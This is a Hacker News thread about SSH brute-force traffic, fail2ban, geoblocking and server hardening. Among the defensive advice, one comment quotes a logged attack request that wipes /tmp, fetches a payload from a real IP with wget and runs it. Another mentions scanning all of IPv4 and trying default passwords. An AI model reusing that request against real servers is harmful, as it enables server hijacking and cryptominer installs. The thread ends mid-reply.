[HN Gopher] Who's Attacking My Server?
___________________________________________________________________
Who's Attacking My Server?
Author : Topolomancer
Score : 134 points
Date : 2022-03-13 15:06 UTC (7 hours ago)
(HTM) web link (bastian.rieck.me)
(TXT) w3m dump (bastian.rieck.me)
| hutch120 wrote:
| I see these articles a lot, and always wonder why people go it
| alone. Can anyone link to a discussion about a distributed
| community run firewall? Does such a thing exist? If so, please
| comment.
| speedgoose wrote:
| I put SSH on another port and only allow a list of ip ranges on
| the firewall. I don't see the point of even allowing Russia and
| China to fill my logs.
| unixhero wrote:
| There is also crowdsec that promises fail2ban functionality from
| a crowdsourced data feed.
|
| https://crowdsec.net/
| zaik wrote:
| It's also worth noting that if an attacker knows how to spoof
| your IP address, they can lock you out of your own server.
| jhgg wrote:
| Yeah? You can't really spoof TCP connections... unless you are
| talking about doing a BGP hijack. Can you elaborate more on
| this?
| Terry_Roll wrote:
| > Who's Attacking My Server?
|
| Probably the security services and some useful idiots who fall
| for the propaganda pumped out through the media.
|
| Its divide and conquer, been going on since the The Holy Roman
| Empire, and it doesnt take much to hack switches or have agents
| in foreign countries so the geolocating attacks is worthless, its
| just something to mess with your mind.
|
| Its keeps people busy though as you have found out!
| mimimi31 wrote:
| I once made a very similar visualization to see where people were
| trying to attack my servers from by adapting (e.g. use local
| geoip database file instead of ipinfo service) the Python script
| from [1], which uses folium to generate an interactive
| (standalone HTML file) heatmap of IP address locations.
|
| [1] https://github.com/meesaltena/SSHHeatmap
| heap_perms wrote:
| That's a wonderful project. Amazing, this can be done with just
| over a hundred lines of code. (excluding packages)
| snek_case wrote:
| I'm curious what would happen if someone set up a sandbox and
| let the attackers in. As in curious what commands they would
| run and what services they would try to install. I'm guessing
| crypto mining or spam mail?
| Topolomancer wrote:
| That looks gorgeous, thanks for sharing it!
| YATA0 wrote:
| Port knocking, Wireguard, never look back.
|
| You can set an alert for every failed SSH connection because if
| someone is able to get through that, it's alarming.
|
| This setup has the side effect of reducing your log noise to
| zero. That SNR is super important for intrusion detection.
| elesiuta wrote:
| I found just using a different port was enough for me and
| didn't need port knocking to reduce log noise, which I agree is
| super important.
|
| I also have alerts for both failed SSH or failed wireguard
| connections, and for any logins from a new IP with either SSH
| or wireguard.
| zelon88 wrote:
| Geo fence them. There is no ROI to providing value to Russia or
| their partners. They only serve as launchpads for cyber attacks
| and recon anyway. Chances are any organic Russian would be
| forbidden from directly viewing your page anyway, so it's
| literally all bots. Organic Russians come from proxys and VPNs.
|
| Russia doesn't reciprocate knowledge or technology or philosophy
| or anything with value. Primary Russian digital exports are
| bullet proof hosting, botnet-for-hire services, and low quality
| malware. Click spam, domain squatting... it's basically the red
| light district of the internet.
| naoqj wrote:
| >Organic Russians come from proxys and VPNs.
|
| [citation needed] - I have Russian friends and they generally
| don't use proxies or VPNs.
| jotm wrote:
| I hate Russia right now, but geofencing is just... bad.
|
| I've been geofenced and blocked my whole life, being from a
| small country no one gives a shit about. If not for the
| Internet, I'd likely be way more influenced by general media
| and be a pro-Russian usefu...less idiot. Because there would be
| no alternative, no way to learn and decide for myself.
|
| So just my opinion, every person who can be influenced by
| western ideals (yes, I'm aware they're far from perfect) is
| worth it. Perhaps one of them can become someone of influence,
| either at home or as an immigrant.
|
| Am I worth it? No. I don't add much to anything. But neither do
| the vast majority of Americans and Europeans. I'd just rather
| have a Russian/Chinese/Pakistani/Iranian/you name it as a
| friend than as an enemy.
|
| If the price is learning proper configuration and/or a single
| core MIPS processor working overtime, I'd say it's worth it.
| Topolomancer wrote:
| Good point; there used to be some issues with this since my dad
| is an interpreter for Russian, so we used to have some
| legitimate business there (probably not relevant, but his
| clients would essentially come to Europe to be trained in
| certain medical equipment)...but recent events might probably
| force early retirement for him.
|
| Somewhat unrelated: I have noticed that SPAM from Russian
| servers stopped on Feb 23 right before the invasion; I wonder
| what that means.
| mistrial9 wrote:
| does anyone here recognize the difference between civilians
| and participants in armed conflict? medical in particular,
| right?
| Topolomancer wrote:
| Couldn't agree more---let me point out that our (i.e. the
| German) government started sanctions along with the rest of
| most (all?) European countries. It's not our choice any
| more---my dad used to believe in the 'Ostpolitik' of Willy
| Brandt, and he's heartbroken to hear about the horrors of
| war :(
|
| (my research institution has also put a stop on all
| projects involving Russian collaborators at the moment; on
| the one hand, I can understand this reaction, on the other
| hand, it creates even more problems and, as you say, does
| not distinguish between those responsible for the conflict
| and those who are not. This is not really not an easy space
| to navigate.)
| judge2020 wrote:
| armies are only supported by the industry and economy
| created by the civilians.
| afiori wrote:
| probably they are talking about how sanctions make making
| business with Russia difficult.
| LadyCailin wrote:
| Tell that to the Russians bombing civilian targets in
| Ukraine. If the worst happening to Russian civilians right
| now is that they can't access someone's blog, well, I can
| think of far worse things for civilians to have to deal
| with.
| InCityDreams wrote:
| I'm still undecided as to whether closing maccy d's is a
| good thing or a bad thing (for them).
| lmarcos wrote:
| Any documentation on how to do "geo fencing" without relying on
| third parties? Is it enough to have one big static list of ip
| addresses (or subnets)? How often does the list need to be
| updated?
| zelon88 wrote:
| I used to do this with a local copy of the IP2Location
| database [1]. This way you don't have to poll a third party.
| The caveat is you have to keep the database up to date.
|
| https://www.ip2location.com/ [1]
| Spooky23 wrote:
| It depends on what you're doing and who the legit users are.
|
| The downside of static lists is that AWS, Azure, etc
| frequently purchase IP spaces and realign them with US
| datacenters. Probably not an issue for blocking Russia or
| China, but if you want US only traffic, or North American
| traffic, you can run into problems.
| chockchocschoir wrote:
| You cannot know where a server is physically located, as even
| self-reported locations are incorrect (by accident and/or on
| purpose) and there is no such thing as non-3rd party data
| about physical location as servers as again, it's self-
| reported and any registry can say whatever they want in
| regards to where a server is located.
|
| There are many different 3rd party sources for geo locating
| IP addresses, maybe MaxMinds is the most popular one. But if
| you acquire a few, you'll notice that sometimes even they
| don't agree where the location of a server is.
| nazgulsenpai wrote:
| I'm reminded of this story[0] from a few years ago where a
| family in Kansas was raided by every US ABC agency because
| MaxMinds was using their lat/long as the default when there
| was no exact position.
|
| https://www.theguardian.com/technology/2016/aug/09/maxmind-
| m...
| uniqueuid wrote:
| See my recommendation in the top level thread.
| Skiiing wrote:
| Cloudflare lets you block countries, ASNs and IP blocks.
| superkuh wrote:
| Sure. But if you read the article you see the vast majority of
| the attacks and the most persistent ones seem to originate from
| China and Hong Kong.
| hatware wrote:
| I thought that was so funny. The author even stated at the
| beginning that the Ukraine/Russia conflict was a reason for
| better security.
| Topolomancer wrote:
| Yes, because I saw a spike in traffic that made me scratch
| my head. Turns out it's not originating from there, though
| :-)
| cxf12 wrote:
| Russia represented a whopping 2% of his naughty list.
| Topolomancer wrote:
| (Posted this above as well) I saw a spike in traffic
| after the invasion; this prompted the whole thing. Turns
| out it's not coming from Russia, though.
| duxup wrote:
| It's pretty common to geofence China too in my experience,
| for the same reasons.
|
| It seems like malicious traffic would be more agile come from
| everywhere, but if you block those two countries you filter a
| great deal of it.
| [deleted]
| DethNinja wrote:
| Change the default ssh port. Most of the attacks are from
| automated crawlers that try to brute force port 22. Your logs
| will become much more manageable.
| daneel_w wrote:
| I do the same. There's no need at all for my own system's sshd
| to adhere to any notion of well known ports. Despite the
| growing availability of pre-mapped host information I can still
| count the amount of illicit login attempts the past 10 years on
| two hands.
| butz wrote:
| I'd assume that most attacks are coming not from attackers
| directly, but from some sort of hacked devices in some other
| country, either webcam with root access or similar, maybe even
| proxy servers. Would be interesting to match malicious IP
| addresses with ones indexed by shodan to test this theory.
| cm2187 wrote:
| I do a similar monitoring on my personal servers which shouldn't
| be of interest to anyone really. Interestingly I don't think I
| have ever seen anyone trying to login on any protocol using IPv6.
| Which is why it is most likely bots scanning the whole ipv4
| address space rather than targeting those servers.
| cube00 wrote:
| I'm keen to see where this goes as we move to IPv6 only
| services. The claim now is IPv6 is too large to scan but maybe
| they're not bothering because most IPv6 servers also listen on
| IPv4.
|
| Once they move to IPv6 only (after I need to sell my house to
| afford a single IPv4 address) it might be worth the extra scan
| time.
| cm2187 wrote:
| The extra scan time? You certainly can't possibly physically
| scan the whole 128bit address space. I am not even sure you
| can if you know which /48 prefixes have been assigned.
| chockchocschoir wrote:
| While IPv4 in it's entirely is trivial to scan (could do it
| in ~5 minutes more or less with the right hardware), usually
| you'd go for ranges to scan instead of the entire space, and
| IPv6 will still be feasible to scan for ranges, although they
| become larger.
| jandrese wrote:
| I disagree that IPv6 will be feasible to scan except in
| unusual circumstances. There might be a case for scanning
| all of the low ranges ::1 through ::16 or so in the low
| 2001:: range, but even then you're searching for a rare
| needle in a haystack. Mass scans become quite impractical.
| chockchocschoir wrote:
| Usually you perform scans with highly defined IP blocks
| (at least when you have a target in mind) that are
| announced by the organizations themselves. Since the
| ranges are announced publicly, you already have them.
| Since you have a target in mind, you already have at
| least one IP. Now take a range that includes that target,
| and you have a block that has at least one host inside of
| it. Use masscan that can do 10 million packets/second
| (with just one machine) and I'm pretty sure you can
| feasibly scan IPv6 blocks as well, you just have to get
| better at targeting and not just wildly target
| "0.0.0.0/8" (but the IPv6 equivalent).
|
| Moreover, you can scan for one common port inside a block
| (like 22, 80, 443 or whatever) which means you can cover
| wider blocks, and for the hosts you find, run a scan
| covering a bigger range of ports. Again, improve the
| targeting and IPv6 won't stop you either.
| logifail wrote:
| > "failed login attempts"
|
| At least with SSH, once you move to only using key-based
| authentication, don't you simply stop worrying about weak
| passwords and failed logins?
|
| You can then focus on keeping up to date with security patches,
| which is at least as important, but takes far less time.
| vdfs wrote:
| Also changing the default port. weird these two simple options
| are not used. They won't stop those automated attempts from
| appearing in your logs, but will greatly decrease them
| cube00 wrote:
| It's still noise in the log you can do without if you really
| want to know what's going on with your system. For me I
| firewall ssh to only accept from known IPs. Worst case if I
| have to expand that list I'll login via the VPS provider's
| console to do that.
| logifail wrote:
| Hmm, there's noise, and there's _noise_.
|
| If you know that password auth is disabled, don't you just
| grep out all the disconnected/preauth and 'invalid user'
| lines before you even look at (or process) auth.log?
|
| On a box where password auth is enabled, you can't be sure
| what's signal and what's noise.
| cube00 wrote:
| I guess I'm also worried about an SSH zero day hitting that
| I could avoid if I firewall filter the source IPs.
|
| I offer other services on the public internet so a zero day
| could hit them but I don't have a choice in those cases
| (eg. incoming mail on 25), however with SSH I don't need to
| offer it to the world so why take the risk in the first
| place?
| fuzzy2 wrote:
| I just ban China entirely from accessing my server. There's
| nothing on it a Chinese person could be interested in, just
| personal stuff and a private forum. Doing so has tremendously
| reduced the overall (remaining) abuse traffic volume.
|
| It's quite easy and efficient to do this using IPSet. IP ranges
| associated with China are available on the net.
| reaperducer wrote:
| _IP ranges associated with China are available on the net._
|
| Didn't help me all that much.
|
| Most of the abuse and spam leveled at the servers I manage come
| through $5 DigitalOcean servers being used as relays.
|
| It's the same thing that ruined voice telephony: Make the
| connection so cheap that it can be abused at scale.
| Spivak wrote:
| I mean just block VPC ranges then. They're public, and lots
| of sites already do it. I would bet you don't expect and
| traffic originating from rented servers.
| chockchocschoir wrote:
| Before going about a blocking potential people who are in fact
| interested in your content/service (which you can't know if
| they are or not based on the country), did you do the bare
| minimum to secure your server against attackers from any other
| location, namely changed from the default password and disabled
| password login?
|
| Your approach to security has a number of issues. First, you
| don't know if someone is actually interested in your thing or
| not based on the location. They could be visiting China, could
| still be able to speak English or any other reason. Secondly,
| the mapping of Location <> IP Address is not as guaranteed as
| you seem to think. Plenty of IPs get flagged as Chinese while
| not being in China, and vice-versa is true as well. Just
| because some 3rd party says a host/client is in a specific
| location doesn't make that true.
|
| Edit: Seems the commentator I replied to now have added "just
| personal stuff and a private forum" to their comment which was
| not there before, so most of my point is moot now, as I assumed
| at least semi-public content/service, not private.
| fuzzy2 wrote:
| Yes, the server is of course properly secured. There was
| something that made me do this in the past, but I don't
| remember. Never had any problems with it whatsoever.
|
| I do know, because my services (except the forum) are for me
| exclusively. On the forum, I know everyone. None of the
| members live in China, have relatives in China or travel to
| China. If they cannot access the forum, they can contact me
| in another way.
| chockchocschoir wrote:
| Yeah, if you're running private services, then my point is
| moot of course, should have known :) Thanks for explaining
| though.
| criddell wrote:
| I don't think it matters if the geo-location table is correct
| or not. If traffic from an IP range is entirely malicious,
| block that IP range. If that range happens to be Chinese or
| from Florida it doesn't really matter, does it?
| chockchocschoir wrote:
| Correct, blocking a IP block based on that malicious
| traffic comes from there might be a worthwhile strategy
| (although I'd argue that it's less important than properly
| configuring your stuff anyways, getting a new IP is
| trivial), and also a strategy which is different than what
| fuzzy2 was describing, which is what I was arguing against.
| michaelcampbell wrote:
| I DO run a "public" service, in that it provides some info to
| people. However I run it at totally my own cost, the
| information is for entertainment value only (and not in the
| "I just say that to get around this being horrible in some
| way"; it's literally information about gaming and games), and
| I just don't need the hassle of the constant hack attempts. I
| block China and Russia, and have for years, using publicly
| available IP ranges.
|
| Yes, I know it's not going to get just China and Russia. Yes
| I know I'm blocking false positives. Yes I know I'm allowing
| false negatives.
|
| And honestly, I couldn't care less. It's my service, my
| information, my time, and my money, and I don't feel the
| least bit bad nor swayed by some appeal to morality or
| fairness.
|
| > Your approach to security has a number of issues.
|
| Your examples are a bit of non-sequitur. If I OVERBAN, I'm
| not decreasing my security. The non-(Chinese hacker) visitor
| in China can't get in, that's not a security issue. IP's
| being flagged as Chinese not being in China... can't get in
| also not a security issue. Vice versa is a bit of a security
| issue, with which the second layer of my security onion
| deals.
| grog454 wrote:
| Honest question: what impact did you see when you switched
| from not blocking China + Russia to blocking them? What
| type of attacks are you seeing primarily?
|
| Failed login attempts / brute force attempts seem like the
| cost of doing business in public. I assume that if my
| servers are accessible from 1 or more public addresses,
| they WILL be subject to brute force attempts. I also assume
| that by making my passwords sufficiently randomized, the
| probability of these attacks having any _effect_ is
| infinitesimal.
|
| To me, blocking an IP because it tried to log in to your
| servers seems purely like a fear response with no rational
| basis (or at least a poor understanding of probability /
| stats). By extension, blocking a range of IPs because of
| some arbitrarily elevated frequency of login attempts seems
| equally silly.
|
| Now for DOS attacks, temporary IP blocks make perfect
| sense.
| passivate wrote:
| Can you really call it a public service if its not
| accessible to the public? Maybe a "Americas/Europe"-only
| service, but then it would sound questionable...
| lowwave wrote:
| think it is totally fine. Most the web is build around
| ASCII text any way. Since he is running it on his own
| dime, it is totally ok to not have Chinese/Russian
| visitors.
| Skiiing wrote:
| You typed my thoughts exactly. I run a popular website, and
| I just block everything from China, and do a Captcha
| challenge for others such as Russia. People don't have the
| right to access my website. If a Chinese citizen is
| (correctly) angry about the situation then they need to
| petition their government to change the culture that
| permits massive continuous hacking attempts from their
| country.
|
| I use Cloudflare which makes blocking countries simple, no
| need to keep updated IP lists.
| dylan604 wrote:
| > I assumed at least semi-public content/service, not
| private.
|
| Um, they posted information on a public website. It's not
| private. Even if the site is owned by them, it is publicly
| available, of their own accord.
| Topolomancer wrote:
| Not an option for me, but thanks for the suggestion. I don't
| want to erect a geo-fence here.
| dym_sh wrote:
| chinese goverment already did that for you. anyone who really
| needs to access you site from inside china will use vpn or
| tor.
| tartoran wrote:
| Does China really ban all outside access or they only ban
| some specific sources such as newspapers and info they deem
| dangerous to their propaganda?
| temp8964 wrote:
| And also legitimate Chinese visitors will use VPN to access
| foreign websites anyway. Because of the GreatFirewall, a
| Chinese person must use a VPN to reliably visit foreign
| websites.
| qwertox wrote:
| I do the same, but my issue is with rented servers on AWS,
| Digital Ocean and the like. There's no way of knowing who owns
| a rented IP address, the WHOIS record just outputs "US", which
| is meaningles.
|
| I think there's an need for forcing service providers to group
| IP blocks by the nationality of who rents them.
|
| Just to be clear, this is in the context of my private servers
| which host my mailserver as well as my personal website which
| is not meant for public consumption, but which I need to be
| publicly available.
| fuzzy2 wrote:
| > I think there's an need for forcing service providers to
| group IP blocks by the nationality of who rents them.
|
| But what would that accomplish? Unlike rogue ISPs in other
| countries, big cloud providers have abuse reporting that
| actually works.
|
| Or just block all of them outright if they do not need to
| access your services.
| gkbrk wrote:
| Depends on the country the cloud provider is located in. I
| have had zero luck getting anything taken down by reporting
| to abuse emails or forms of Aliyun, for example.
|
| I have had much better luck with US or EU based cloud
| providers. In particular, I remember DigitalOcean being
| very responsive.
| fuzzy2 wrote:
| Alibaba Cloud? I actually would've expected better from
| them! Never had to report anything myself, seeing how I'm
| probably blocking them.
|
| I recently had contact with AWS about spam sent using SES
| and found the response times very quick and the replies
| appropriate (they'll look into it but cannot report back,
| what I expected anyway). This particular spam stopped
| coming, but that could be a coincidence.
| jcynix wrote:
| > I think there's an need for forcing service providers to
| group IP blocks by the nationality of who rents them.
|
| Would neither help nor work, as there's TOR and VPNs to
| access your servers from anywhere in the wirld.
| aghostincarrot wrote:
| walrus01 wrote:
| this seems to presume that malicious things originating in
| china scanning/probing other peoples' IP ranges don't use
| proxies or rented VMs, or relay compromised hosts almost
| anywhere in the world, etc. all that banning chinese /16 or /12
| size netblocks will do is cut down on the clutter in your logs,
| not actually accomplish anything.
|
| getting scanned and probed by peoples' automated tools looking
| for vulnerabel daemon RCEs has been a log clutter issue for
| about 25 years or more now. it's part of the background noise
| of the internet. ever since the days of having your http daemon
| logs cluttered up with GET DEFAULT.IDA stuff and similar in
| 2001.
|
| https://www.google.com/search?client=firefox-b-1-d&q=get+def...
|
| put more effort into ensuring that public facing daemons are
| totally up to date and hardened against external compromise. Or
| better yet don't have them public facing at all, if you can
| admin your server via an ssh daemon that only listens on a
| logical vpn interface or some sort of OOB interface.
| holoduke wrote:
| Totally agree. Sometimes I watch my live logs of auth.log of
| about 100 public servers. I am probably see 10 port scans or
| ssh attempts per second from random machines. Nothing to
| worry about if machines setup correctly. More worrying are
| the people who try to break our public APIs. Either by
| letting it to crash, brute force operations etc. The security
| flaws are often inside the software domain layer.
| jotm wrote:
| That's kinda against the spirit of the Internet, well, what it
| should be IMO.
|
| But I do also ban, only temporarily. I found that a lot of IPs
| just stop reappearing/retrying, likely because they blacklist
| my IP and move on.
| cplex wrote:
| Also with https://www.greynoise.io/ api you can determine if
| these IPs are scanning the internet or targeting you
| specifically.
| Topolomancer wrote:
| Wow, did not know that this existed. Thanks so much!
| uniqueuid wrote:
| This is a good opportunity to recommend nft blackhole [1].
|
| Automatically block countries by CIDR blocks and known bad actor
| IPs. Auto-updates these lists and adds them to your firewall.
|
| It's a 5 minute install and maintenance free afterwards.
|
| Not perfect, but reduces attack surface and log spam.
|
| [1] https://github.com/tomasz-c/nft-blackhole
| chockchocschoir wrote:
| Looks not-so reliable. Either fetches a list of blocks from
| https://github.com/herrbischoff/country-ip-blocks which is a
| random GitHub repository that collects "straight from the
| Regional Internet Registries" without any stating any sources
| nor method for gathering it (which also, I'm assuming, is self-
| reported data from those registries), or it fetches it from
| https://www.ipdeny.com/ which currently runs with an expired
| TLS certificate, which on top of everything, nft-blackhole
| ignores any issues with certificates anyways, leaving it wide
| open to MITM attacks (https://github.com/tomasz-c/nft-
| blackhole/blob/8a656ac0a803a...)
|
| I wouldn't run that if I'd want something to reliably block
| someone from a specific country.
|
| > Not perfect, but reduces attack surface and log spam.
|
| You know what also does that? Setting up sshd properly in the
| first place.
| throwmeariver1 wrote:
| Calling the repository of Marcel Bischoff a random GitHub
| repository. LOL
| chockchocschoir wrote:
| Yes, GitHub repositories are generally not considered
| trust-worthy sources of information unless you actually
| could cite your resources in the repository itself. This
| information gathered there has 1) no source stated and 2)
| no way of reproducing the information yourself, earning it
| the description of "A Random GitHub Repository", even when
| you try to appeal to authority.
| tptacek wrote:
| Fail2ban is theater on a properly configured server --- and,
| increasingly since the mid 2010's, you've had to go out of your
| way to have a badly configured SSH server. Either way, it's
| something you have to add specifically to your server, so if
| you're going to do that, use the same energy to just make sure
| your server is configured properly. Yeah, yeah, I know it "keeps
| your logs clean". So does grep, though.
| Topolomancer wrote:
| Thanks, I was unaware of this---I initially (naively?) thought
| that being banned would at least deter some wannabe attackers.
| In your experience, does it do anything if I start collecting
| some reports on repeat offenders and notify their ISP? Or is
| that just more wishful thinking of my part?
| taf2 wrote:
| You should just not allow any IP to access your server to
| begin with... have a list of trusted IPs - this and only
| allow public / private key access with a second factor device
| and I think you should be good...
| 71a54xd wrote:
| I like to be able to maintain contact with my servers
| outside of a few specific ip's - I've locked myself out far
| too many times when I whitelist a very small number.
|
| Anyone have a better workaround for this?
| PeterisP wrote:
| IMHO there's no need to worry (but you should disable
| password access), but if you really want to, port
| knocking is an option.
| jcynix wrote:
| During holiday trips, where I might need to access a
| server from anywhere, I use a list of one time passwords
| (more or less just a bunch of md5sums) which I can send
| to a server on https, which then adds the requesting ip
| address to /etc/hosts.allow for a limited time. This ip
| address will be able to connect via ssh (still secured
| with a key) then for that time.
| raggi wrote:
| Stop using fail2ban/tallow/etc, and follow a sensible
| guide like https://infosec.mozilla.org/guidelines/openssh
| to harden your ssh configuration. This will result in
| about half the attempts failing at protocol negotiation,
| long before auth (though that ratio is decreasing over
| time).
|
| Wireguard is also very strong here, as it learned from
| this kind of problem in SSH and does not reply at all
| unless authentication succeeds. This makes debugging
| harder, but also makes leaving it openly listening quite
| a bit safer, as the protocol surface in pre-auth is
| absolutely minimal.
| ficklepickle wrote:
| I VPN into my home network as a bastion host, so I'm
| always connecting from the same IP.
|
| I'm using the cloud providers IP filtering to block
| everything but my IP on port 22. If something goes
| horribly wrong, I can disable it thru their web
| interface.
| whartung wrote:
| Perhaps a port knock.
|
| I don't know the mechanics, but a port knock is hitting
| pre-defined ports in a pre-defined order. When you "shave
| and a haircut" the ports properly, the server opens
| something up. In this case white listing (gray listing?)
| the IP that the knock came from.
|
| You could add a layers to it to make it more complicated.
| tptacek wrote:
| Please don't use silly stuff like port knocking. Your SSH
| server already does a cryptographically sound
| authentication step. "Port knocking" is even more
| performative than fail2ban.
| stock_toaster wrote:
| Maybe use spiped[1] if you are worried about ssh
| security?
|
| [1]: https://www.tarsnap.com/spiped.html
| ufmace wrote:
| I don't think this idea is aligned with how these types of
| attacks actually work. The dumb stuff like this is almost
| entirely automated, nobody will notice enough to be deterred
| by it. Possibly whoever is running it will get a list of
| servers where the bruteforce login attempts worked, or maybe
| they just get some kind of low-effort thing like cryptominer
| or spam server installed automatically.
|
| If an actual person of at least modest skill takes an
| interest in your server in particular, they're probably not
| going to do the sorts of things that would trigger fail2ban
| anyways. They're going to do things like probe around as
| lightly as possible to determine which services and which
| versions are running where to try and find things that are
| misconfigured or at known-vulnerable versions.
| tptacek wrote:
| Absolutely nothing will be done about reports of people
| running SSH scanners against your host; it would be like Cnut
| on his seashore throne ruling the waves to recede: even in
| the unlikely event that a hosting provider shut someone off
| (we probably would, if you told us), they'd be followed by
| 10,000 more.
| pvg wrote:
| _ruling the waves_
|
| This aggression will not stand
| Topolomancer wrote:
| Thanks for the reality check, I appreciate it! At least I
| got a nice map out of this (and made sure that nothing was
| configured incorrectly, to the best of my knowledge)...
| bombcar wrote:
| You can get a similar reduction in ssh scans simply by
| moving the port (and doing nothing else) as the majority
| of scans only hit port 22.
|
| Whether this is worth the hassle is left to the reader:
| if you have passwords disabled and only use keys it
| really shouldn't matter.
| creeble wrote:
| In my experience, they find it anyway.
|
| I've run ssh on non-standard ports for over 20 years, and
| my auth.log is gets a hundred knocks an hour - and mind
| you, they all return "no key".
|
| It's just life, and it will continue to get worse. Secure
| your server and ignore it.
| cube00 wrote:
| As an individual your reports will likely be ignored, however
| if you do want to report consider contributing to a service
| like AbuseIPDB. It probably doesn't do much either but at
| least it feels like I'm doing my part to report abuse and
| maybe some ISPs will choose to act on it.
| NavinF wrote:
| Eh I've scanned the entire IPv4 space and tested default
| passwords over ssh from both AWS and my Comcast connection at
| home and never got banned from either one. I'm sure it can
| happen, but it's no big deal.
|
| The GP is right: If you use ed25519 keys, looking at logs and
| playing whack a mole with countries is just security theater
| for people who are new to the internet and get scared when
| their MOTD says "500 failed logins".
| arjvik wrote:
| How long did scanning the entire IPv4 space take?
| NavinF wrote:
| ~4 hours on a 1G port, IIRC
|
| I'm sure you could do it a lot faster with a better CPU
| and 20% commit on a 10G port
| kkirsche wrote:
| That depends on the machine you are using. Tools like
| mass scan to locate open ssh ports and then testing them
| doesn't need to take long if you have a beefy machine and
| pipe to the internet.
| chockchocschoir wrote:
| masscan with the right setup (namely hardware + drivers
| but also connection obviously) can scan the entire IPv4
| space (+ all ports) in ~5 minutes.
|
| Source Code: https://github.com/robertdavidgraham/masscan
|
| Article from PoC || GTFO with more internal details on
| how it works:
| https://www.alchemistowl.org/pocorgtfo/pocorgtfo15.pdf
| (Page 66) [Note: PDF is both a valid PDF + valid ZIP file
| with source code]
| worewood wrote:
| Is theater on a properly configured server. On an improperly
| configured server it's the difference between compromised or
| not. And there tons of improperly cfg'd servers out there. One
| more layer in the security onion doesn't hurt
| ozim wrote:
| Unless there is RCE in Fail2Ban like CVE-2021-32749 which
| makes it actually worse.
|
| Instead of lowering your attack surface you increase it by
| adding stuff.
| plufz wrote:
| hmm I reason sooner or later a scanner will find an xss/sql
| exploit/whatever? why give scanners free access to search
| endlessly for possible exploits when you can fail2ban? all
| servers have possible exploits if they expose a medium complex
| service. (if ssh is all you expose and you only allow keys,
| fine!)
| anderspitman wrote:
| I'm curious, is it common for scanners to look for
| vulnerabilities in bespoke servers, or do they usually look
| for known vulnerabilities in specific versions of popular
| servers like WordPress, Apache, etc?
| bombcar wrote:
| They're almost always looking for known vulnerabilities
| dumbly - you'll see one IP try fifteen-fifty different URL
| based attacks.
| plufz wrote:
| My experience is a mix of both. Lots of looking for
| wordpress, phpmyadmin, etc but also scraping my own GET-
| parameters and FORMs looking for sql exploits etc.
| [deleted]
| Spooky23 wrote:
| I think a better solution now is something like Tailscale for
| anything administrative. I've been doing this for Minecraft
| servers for a year or two, and it eliminates a ton of BS.
| pengaru wrote:
| > I think a better solution now is something like Tailscale
| for anything administrative. I've been doing this for
| Minecraft servers for a year or two, and it eliminates a ton
| of BS.
|
| All I'm hearing is that Tailscale is becoming an increasingly
| attractive bastion host to compromise, then use as a jump
| server to access _heaps_ of poorly configured customer
| machines.
| anderspitman wrote:
| It's the classic VPN vs BeyondCorps debate. Tailscale is
| awesome tech but since my focus is on sharing self-hosted
| services with others BeyondCorps makes more sense for me.
| matja wrote:
| If fail2ban is theater, so is a firewall, so is SELinux, so are
| filesystem permissions (a _properly configured_ process would
| only read /write the files it's supposed to, right?).
|
| If an remote vuln needs some stack-smashing technique that has
| a low probability of success, fail2ban is going to to slow that
| down - perhaps in a way that makes it more obvious in logs,
| buying you time to discover your broken configuration or out of
| date software. Same way that a firewall buys you time to find
| that your database is listening on 0.0.0.0.
| rascul wrote:
| I believe the implication is that a properly configured
| server isn't going to allow passwords, and fail2ban isn't
| much more than a log size reducer when passwords aren't
| allowed.
| sk5t wrote:
| > time to find that your database is listening on 0.0.0.0
|
| I think that this would be the norm and desirable for
| databases serving clients other than the local host's.
| Plopping the database server onto a public network and
| allowing anyone at all to talk to it, on the other hand...
| vngzs wrote:
| Indeed. The author could have spent 15 minutes setting up
| Tailscale [0] and not expose any listening administration ports
| to the Internet at all. If they wanted to avoid using a hosted
| service, Wireguard alone is incredibly defensive against
| attackers who do not have access to the secret material.
| Tailscale basically just adds some NAT traversal [1] and OIDC
| login wrappers.
|
| [0]: https://tailscale.com/
|
| [1]: https://tailscale.com/blog/how-nat-traversal-works/
| kortilla wrote:
| You don't add tailscale if you care about open source.
| Topolomancer wrote:
| Not sure I understand the point of Tailscale. The server
| should expose these ports to the internet...that's part of
| its purpose. Admittedly, I have never heard about Tailscale
| until now; it appears to solve a different kind of problem
| than the one I am interested in.
| chockchocschoir wrote:
| Before complicating the setup even more (by adding more
| software), I'd opt to make sure I configure the software I
| already have before going down that route. Removing password
| login + changing the port would already remove any attack
| surface and make most scans not finding it at all. And if I'd
| still be annoyed by the amount of log items at that point,
| I'd add MAC/IP filtering at the firewall level before getting
| to the point of adding something like Tailscale.
|
| Unless I had multiple users who'd need to login of course,
| but then Tailscale suddenly become a paid product, and I'd
| probably add another instance as a bastion host at that
| point.
|
| I guess my point is: Make sure the software you already have
| is configured the right way before adding more software on
| top.
| ratorx wrote:
| I'd say MAC/IP filtering is more annoying in the long term
| than Wireguard, since I'm not sure I could say that I will
| 100% never need to access the server unexpectedly from
| somewhere else.
|
| But the ordering before that seem very reasonable. Although
| Wireguard is a soft alternative to changing default port,
| so it might be worth doing that.
|
| On a slight tangent, I've never really bought into changing
| SSH port from default. I'd say the convenience of not
| having config/extra port specification is worth having it
| on a well known port, but that's just my personal
| philosophy. I feel like for my low traffic things, just
| having strong SSH key and auto-updates is good enough.
| Topolomancer wrote:
| > I guess my point is: Make sure the software you already
| have is configured the right way before adding more
| software on top.
|
| Couldn't agree more!
| tptacek wrote:
| What exactly are you trying to accomplish with MAC
| filtering?
| lima wrote:
| It also adds extra attack surface[1] and operational risk (of
| locking yourself out - seen this happen more than once) for no
| tangible benefit.
|
| [1]: like https://www.cve.org/CVERecord?id=CVE-2012-5642
| bhch wrote:
| > Fail2ban is theater on a properly configured server
|
| How do you block scanner scripts making hundreds of requests to
| your http server attempting to find login pages and other
| "secret" urls?
|
| I see a variety of weird requests made to my http server. A
| sample:
|
| `GET
| /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws
| HTTP/1.1`
|
| Fail2ban seems a decent solution for this. Unless, of course,
| there's a better solution perhaps?
| waihtis wrote:
| This request tries to find a shell env on your application
| and pull a script from 209... onto your machine, not related
| to auth but rather a hijack attempt of your server. Nowadays
| likely tries to run a cryptominer
| yabones wrote:
| I have a separate log file for the default vhost that's not
| parsed by log aggregation tools. Most scanners just hit your
| IP rather than an actual hostname (unless your site is very
| popular and well-known), so most spam ends up there. That
| keeps your actual log file much cleaner.
|
| https://docbot.onetwoseven.one/services/nginx/#the-go-
| away-v...
| tptacek wrote:
| You don't, because there's no point.
| criddell wrote:
